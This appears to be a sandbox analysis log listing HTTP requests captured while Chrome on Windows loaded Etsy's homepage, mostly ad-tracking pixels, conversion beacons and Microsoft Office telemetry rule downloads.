Source: global traffic	HTTP traffic detected: GET /p/action/4020083.js HTTP/1.1Host: bat.bing.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MR=0; MUID=329D5419D42E6BDD1B164129D5796A05
Source: global traffic	HTTP traffic detected: GET /track/conv/?adv=r09jr34&ct=0:ezyvggn&fmt=3 HTTP/1.1Host: insight.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CJO5m-DtyokDFfSBgwcdrFAmhw;src=8666735;type=count0;cat=etsy_00;ord=1;num=5090889059420;npa=0;auiddc=;u2=hEdBI7-O791PgbbYBOz7wX81KdmN;ps=1;pcor=879015002;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CK6snODtyokDFRmggwcdd_cJTQ;src=9910951;type=remarkt;cat=unive0;ord=7315919748514;npa=0;auiddc=;u2=%2F;u3=undefined;ps=1;pcor=366266826;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9190758491z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9910951.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.well-known/web-identity HTTP/1.1Host: www.google.comConnection: keep-aliveAccept: application/jsonSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: webidentityUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=8398;g=homepage;gid=34719;ord=1731004351?gtmcb=992407745;ip=173.254.250.79;cuidchk=1 HTTP/1.1Host: trkn.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: barometric[cuid]=cuid_672d07c5-9cd0-4170-a28f-8f029ca75b88
Source: global traffic	HTTP traffic detected: GET /lantern_global_6220.min.js HTTP/1.1Host: lantern.roeyecdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/button.js HTTP/1.1Host: web.btncdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=8666735;type=count0;cat=etsy_000;ord=1;num=3832492745913;npa=0;auiddc=1464974207.1731004355;ps=1;pcor=1299258770;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: ad.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUlpObMap1AuQUU2R-FDHjVnXm6PJQgikbVX5UHQxFwNv88ZLHHPxFmKas-o2m8; test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=8666735;type=count0;cat=etsy_00;ord=1;num=5090889059420;npa=0;auiddc=1464974207.1731004355;u2=hEdBI7-O791PgbbYBOz7wX81KdmN;ps=1;pcor=879015002;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: ad.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUlpObMap1AuQUU2R-FDHjVnXm6PJQgikbVX5UHQxFwNv88ZLHHPxFmKas-o2m8; test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9910951;type=remarkt;cat=unive0;ord=7315919748514;npa=0;auiddc=1464974207.1731004355;u2=%2F;u3=undefined;ps=1;pcor=366266826;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9190758491z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F? HTTP/1.1Host: ad.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUlpObMap1AuQUU2R-FDHjVnXm6PJQgikbVX5UHQxFwNv88ZLHHPxFmKas-o2m8; test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/995917074/?random=1731004358973&cv=11&fst=1731002400000&bg=ffffff&guid=ON&async=1&gtm=45be4au0v883287104z86935543za201zb6935543&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=ecomm_prodid%3D%3Becomm_pagetype%3Dhome%3Becomm_totalvalue%3D%3Becomm_rec_prodid%3D%3Becomm_category%3D%3Becomm_pvalue%3D%3Becomm_quantity%3D%3Ba%3D%3Bg%3D%3Bhasaccount%3Dfalse%3Bcqs%3D%3Brp%3D%3Bly%3D%3Bhs%3D%3B_google_crm_id%3D%3Bads_data_redaction%3Dfalse&rfmt=3&fmt=3&is_vtc=1&cid=CAQSGwCa7L7dEhxHn_G4pcs96VOYwpRfx4vbhrFsXw&random=1422812119&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rs?id=590f83e499a54109bd553d1e2ebaf867&t=marketing HTTP/1.1Host: tags.w55c.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/995917074/?random=1731004358973&cv=11&fst=1731004358973&bg=ffffff&guid=ON&async=1&gtm=45be4au0v883287104z86935543za201zb6935543&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=ecomm_prodid%3D%3Becomm_pagetype%3Dhome%3Becomm_totalvalue%3D%3Becomm_rec_prodid%3D%3Becomm_category%3D%3Becomm_pvalue%3D%3Becomm_quantity%3D%3Ba%3D%3Bg%3D%3Bhasaccount%3Dfalse%3Bcqs%3D%3Brp%3D%3Bly%3D%3Bhs%3D%3B_google_crm_id%3D%3Bads_data_redaction%3Dfalse&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUlpObMap1AuQUU2R-FDHjVnXm6PJQgikbVX5UHQxFwNv88ZLHHPxFmKas-o2m8; test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/658194373/?random=662406569&cv=11&fst=1731004357425&bg=ffffff&guid=ON&async=1&gtm=45be4au0v870186735z86935543za201zb6935543&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&label=XwNfCLSf5dkDEMX_7LkC&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&value=0&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=ads_data_redaction%3Dfalse&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgjCybECCNPFsQIiAQE4AUABSid0cmlnZ2VyPW5hdmlnYXRpb24tc291cmNlLCBldmVudC1zb3VyY2ViBAoCAgM&pscrd=CL6DgNaKoPbtvAEiEwjQpZzg7cqJAxUPl4MHHffsOvwyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6FWh0dHBzOi8vd3d3LmV0c3kuY29tL0JXQ2hBSWdPZXh1UVlRa2NiUHRkR3J2dWwtRWkwQTdpTzVrYk9hVnpZb0NqRm11SHVPci1yYmJCTng0NlRtTFdONDJfbDdrQWMzc2pLM2tNMHRDMzUzUVZZ&is_vtc=1&cid=CAQSKQCa7L7d9lTBsHJj6HsiisVRhgrJrrPVTFqImba41Q6Mt4b2VIoIYBDy&eitems=ChEIgOexuQYQ-cTFouuT65_xARIdACE_A3ojinL64OlEgb4mSy7sDN8kLd234ok9a0Q&random=3624844151 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/v2/ktag.js?tid=KT-N3B63-3EB HTTP/1.1Host: resources.xg4ken.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /up_loader.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CLiMnODtyokDFWePgwcd3HorjA;src=8666735;type=count0;cat=etsy_000;ord=1;num=3832492745913;npa=0;auiddc=;ps=1;pcor=1299258770;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/62f2e71d-3885-4822-ba89-6e017b2f1a1e HTTP/1.1Host: pixel.streetmetrics.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v3/?event=pagevisit&ed=%7B%22event_id%22%3A%22hEdBI7-O791PgbbYBOz7wX81KdmN.1731004351.listing_id_na%22%2C%22np%22%3A%22gtm%22%2C%22line_items%22%3A%5B%7B%22product_category%22%3A%22%22%7D%5D%7D&tid=2612477536450&cb=1731004360780&dep=5%2CEVENT_TAGS_ABSENT&pd=%7B%22np%22%3A%22gtm%22%7D&ad=%7B%22loc%22%3A%22https%3A%2F%2Fwww.etsy.com%2F%22%2C%22ref%22%3A%22https%3A%2F%2Frh.capriciou.com%2F%22%2C%22if%22%3Afalse%2C%22sh%22%3A1024%2C%22sw%22%3A1280%2C%22mh%22%3A%22be180668%22%2C%22is_eu%22%3Atrue%2C%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22brands%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117%22%7D%5D%2C%22mobile%22%3Afalse%2C%22model%22%3A%22%22%2C%22platform%22%3A%22Windows%22%2C%22platformVersion%22%3A%2210.0.0%22%2C%22uaFullVersion%22%3A%22117.0.5938.132%22%2C%22ecm_enabled%22%3Atrue%7D HTTP/1.1Host: ct.pinterest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSYrVUlHSlBPTVFnbDNSRUxKdExXa2psaCszSnA5Rnd0SmtiVVZGV0tHa2Q4Vk44aktabUwyMGdQVEExL2J4a1FCTG5NaTBHSFdSMzNJWVNIOHJhd2l5cmtmNmRTYnFra2VJSkNTSnNLUFUwOD0mRG9HaDZabjZ0aU41UmZBdXNudGtTeGIvNzZvPQ=="
Source: global traffic	HTTP traffic detected: GET /track.php?fingerprint=57f356de-9b4c-43dc-a7e2-f15cef29a072&referrer=https%3A%2F%2Frh.capriciou.com%2F&landingpage=https%3A%2F%2Fwww.etsy.com%2F&useragent=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&site=6220 HTTP/1.1Host: lantern.roeye.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=TheTradeDesk&google_cm&google_sc&google_hm=ZmQ2M2QzNDAtNzgzZC00Y2IyLWJmYzEtMjNhZjAwNTRmNjk0&gdpr=0&gdpr_consent=&ttd_tdid=fd63d340-783d-4cb2-bfc1-23af0054f694 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUl8okFbSak9GxsHuY7KrROXPxEhYa0SrMKW7sd7CFH5uKkH0ZDjXoTB8bkDbDU
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rs?sccid=31f13ab2-52e2-b6e8-6c79-f1cae6423d83&scc=1&id=590f83e499a54109bd553d1e2ebaf867&t=marketing HTTP/1.1Host: tags.w55c.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wfivefivec=5fWZZA3M1T97jd2
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CJO5m-DtyokDFfSBgwcdrFAmhw;src=8666735;type=count0;cat=etsy_00;ord=1;num=5090889059420;npa=0;auiddc=;u2=hEdBI7-O791PgbbYBOz7wX81KdmN;ps=1;pcor=879015002;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F HTTP/1.1Host: adservice.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /*X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
